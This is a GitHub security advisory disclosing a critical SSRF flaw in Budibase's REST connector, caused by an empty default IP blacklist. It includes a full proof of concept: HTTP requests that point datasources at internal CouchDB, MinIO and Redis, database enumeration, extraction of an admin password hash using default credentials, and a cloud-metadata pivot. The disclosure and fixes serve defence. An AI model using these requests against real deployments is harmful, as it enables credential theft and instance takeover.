

[Budibase / budibase](#) Public[Code](#) [Issues](#) 273 [Pull requests](#) 16 [Discussions](#) [Actions](#) [Projects](#)

# Server-Side Request Forgery via REST Connector with Empty Default Blacklist

Critical [mjashanks](#) published [GHSA-7r9j-r86q-7g45](#) yesterday

## Package

 **budibase** ([npm](#))

### Affected versions

&lt;= 3.30.6(Master Now)

### Patched versions

3.33.4

## Description

### 1. Summary

Field	Value
<b>Title</b>	SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration
<b>Product</b>	Budibase
<b>Version</b>	3.30.6 (latest stable as of 2026-02-25)
<b>Component</b>	REST Datasource Integration + Backend-Core Blacklist Module
<b>Vulnerability Type</b>	CWE-918 (Server-Side Request Forgery), CWE-1188 (Initialization with Insecure Default)
<b>Severity</b>	Critical
<b>CVSS 3.1 Score</b>	9.4 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
<b>Attack Vector</b>	Network
<b>Privileges Required</b>	Low (Builder role, or QUERY WRITE for execution of pre-existing queries)
<b>User Interaction</b>	None

Field	Value
<b>Affected Deployments</b>	All self-hosted instances without explicit <code>BLACKLIST_IPS</code> configuration (believed to be the vast majority)

## 2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.

This allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because:

1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data
2. CouchDB credentials are embedded in the environment variables visible to the application container
3. A successful exploit grants full read/write access to the entire Budibase data layer

## 3. Root Cause Analysis

### 3.1 Blacklist Implementation

File: `packages/backend-core/src/blacklist/blacklist.ts`

```
// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS
  const list = blacklist?.split(",") || [] // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blacklistArray = final // ← empty array
}

// Line 39-54: Blacklist check
```



```
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}
```

**Problem:** When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.

### 3.2 Default Configuration Missing BLACKLIST\_IPS

**File:** `hosting/.env` (official Docker Compose deployment template)

```
MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present
```



No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

### 3.3 REST Integration Blacklist Check

**File:** `packages/server/src/integrations/rest.ts`

```
// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) { // ← always false
  throw new Error("Cannot connect to URL.") // ← never reached
}
// Line 708:
response = await fetch(url, input) // ← unrestricted fetch
```



### 3.4 Authorization Model

Operation	Endpoint	Required Permission
Create datasource	POST /api/datasources	BUILDER (app-level)
Create query	POST /api/queries	BUILDER (app-level)
Execute query	POST /api/v2/queries/:id	QUERY WRITE (can be granted to any app user)

#### Route definitions:

- packages/server/src/api/routes/datasource.ts:19 → builderRoutes
- packages/server/src/api/routes/query.ts:33 → builderRoutes (create)
- packages/server/src/api/routes/query.ts:55-66 → writeRoutes with  
PermissionType.QUERY, PermissionLevel.WRITE (execute)

**Key insight:** The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.

## 4. Impact Analysis

### 4.1 Confidentiality — Critical

An attacker can read:

- All CouchDB databases** ( /\_all\_dbs )
- User credentials** including bcrypt password hashes, email addresses ( /global-db/\_all\_docs?include\_docs=true )
- Platform configuration** including encryption keys, JWT secrets
- All application data** across every app in the instance
- Internal service metadata** (MinIO storage, Redis)

### 4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:

- Modify user records** to escalate privileges
- Create new admin accounts** directly in CouchDB
- Alter application data** in any app's database
- Delete databases** causing data loss

### 4.3 Availability — Medium

- **Resource exhaustion** by making the server proxy large responses from internal services
- **Database destruction** via CouchDB DELETE operations
- **Service disruption** by modifying critical configuration documents

## 4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:

- CouchDB (database layer)
- MinIO (storage layer)
- Redis (cache/session layer)
- Any other service accessible from the Docker network

---

## 5. Proof of Concept

### 5.1 Environment Setup

```
cd hosting/  
docker compose up -d  
# Wait for services to start  
# Create admin account via POST /api/global/users/init  
# Login to obtain session cookie
```



**Tested on:** Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`

### 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

```
POST /api/datasources HTTP/1.1  
Host: localhost:10000  
Content-Type: application/json  
Cookie: budibase:auth=<session_token>  
x-budibase-app-id: <app_id>  
  
{  
  "datasource": {  
    "name": "Internal CouchDB",  
    "source": "REST",  
    "type": "datasource",  
    "config": {  
      "url": "http://couchdb-service:5984",  
      "defaultHeaders": {}  
    }  
  }  
}
```



```
}  
}
```

**Response** (201 — datasource created successfully):

```
{  
  "datasource": {  
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",  
    "name": "Internal CouchDB",  
    "source": "REST",  
    "config": { "url": "http://couchdb-service:5984" }  
  }  
}
```

No warning, no validation error — an internal hostname is accepted without restriction.

### 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to `GET /`:

```
POST /api/v2/queries/<query_id> HTTP/1.1
```

**Response** — Internal CouchDB data returned to the attacker:

```
{  
  "data": [{  
    "couchdb": "Welcome",  
    "version": "3.3.3",  
    "git_sha": "40afbcfc7",  
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",  
    "features": ["search", "access-ready", "partitioned",  
                "pluggable-storage-engines", "reshard", "scheduler"],  
    "vendor": {"name": "The Apache Software Foundation"}  
  }],  
  "code": 200,  
  "time": "44ms"  
}
```

### 5.4 Step 3 — Enumerate All Databases

Query: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)

```
{  
  "data": [  
    {"value": "_replicator"},  
    {"value": "_users"},  
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},  
  ]  
}
```

```
{
  "value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
  {"value": "global-db"},
  {"value": "global-info"}
]
}
```

## 5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: `GET /global-db/_all_docs?include_docs=true&limit=20`

Headers: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)

**Response** — Full user record with bcrypt hash:

```
{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "admin@test.com",
          "password": "$2b$10$uQ169b/H22QnV61qZE20muChFaca43yicgorlJBwwNinJwQc0iPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}
```

**Exfiltrated data includes:**

- Admin email: `admin@test.com`
- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE20muChFAca43yicgorlJBwwNinJwQc0iPbK`
- Role information: `builder.global: true` , `admin.global: true`
- Tenant ID, platform URL, quota information

**5.6 Step 5 — Access Other Internal Services****MinIO (Object Storage):**

```
Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO
```



Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

**Redis (Port Scanning):**

```
Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)
```



Different error from non-existent host → confirms service discovery capability.

**Non-existent service:**

```
Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"
```

**5.7 Service Discovery Matrix**

Target	URL	Response	Service
CouchDB	<code>http://couchdb-service:5984/</code>	<code>{"couchdb":"welcome","version":"3.3.3"}</code>	Yes
MinIO	<code>http://minio-service:9000/</code>	XML error with <code>Server: MinIO</code> header	Yes

Target	URL	Response	
Redis	<code>http://redis-service:6379/</code>	<code>socket hang up / fetch failed</code>	Ye op
Non-existent	<code>http://nonexistent:12345/</code>	<code>fetch failed (ENOTFOUND)</code>	Ne dif er

This differential response enables internal network mapping.

## 6. Attack Scenarios

### Scenario A: Builder User Steals All Credentials

1. User has `Builder` role for one app
2. Creates REST datasource → `http://couchdb-service:5984`
3. Queries `global-db` to get all user records with password hashes
4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)

1. Attacker has `Creator` role (lower than Builder)
2. Exploits CVE-2026-25040 to invite themselves as Admin
3. Now has Builder access → exploits this SSRF
4. Complete instance takeover

### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)

1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`
2. Retrieves IAM credentials, instance metadata
3. Pivots to cloud infrastructure

## 7. Affected Code Paths



```

POST /api/v2/queries/:queryId [QUERY WRITE permission]
  | packages/server/src/api/routes/query.ts:63
  ▼
packages/server/src/threads/query.ts
  | → Executes query via REST integration
  ▼
packages/server/src/integrations/rest.ts
  | Line 684: blacklist.isBlacklisted(url) → returns false (empty list)
  | Line 708: fetch(url, input) → unrestricted request
  ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
  |
  ▼
Response returned to attacker via query results

```

## 8. Recommended Fixes

### Fix 1 (Critical): Add Default Private IP Blocklist

```
// packages/backend-core/src/blacklist/blacklist.ts
```



```

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",      // localhost
  "10.0.0.0/8",      // RFC1918
  "172.16.0.0/12",   // RFC1918
  "192.168.0.0/16",  // RFC1918
  "169.254.0.0/16",  // link-local / cloud metadata
  "0.0.0.0/8",       // current network
  "::1/128",         // IPv6 localhost
  "fc00::/7",        // IPv6 private
  "fe80::/10",       // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}

```

### Fix 2 (High): Validate Datasource URLs at Creation Time

```
// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}
```



### Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

## 9. References

- **CWE-918**: Server-Side Request Forgery — <https://cwe.mitre.org/data/definitions/918.html>
- **CWE-1188**: Initialization with Insecure Default — <https://cwe.mitre.org/data/definitions/1188.html>
- **CVE-2023-29010**: Previous Budibase SSRF (CVSS 6.5, patched in v2.4.3) — [GHSA-9xg2-9mcv-985p](https://nvd.nist.gov/vuln/detail/CVE-2023-29010)
- **CVE-2026-25040**: Budibase Privilege Escalation (unpatched) — enables chaining with this vulnerability
- **OWASP SSRF Prevention Cheat Sheet** — [https://cheatsheetseries.owasp.org/cheatsheets/Server\\_Side\\_Request\\_Forgery\\_Prevention\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)

#### Severity

Critical 9.6 / 10

#### CVSS v3 base metrics

Attack vector

Network

Attack complexity

Low

Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	None
<a href="#">Learn more about base metrics</a>	

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


### CVE ID

CVE-2026-31818

### Weaknesses

- ▶ CWE-918
- ▶ CWE-1188

### Credits

 **Moonster8282**

Reporter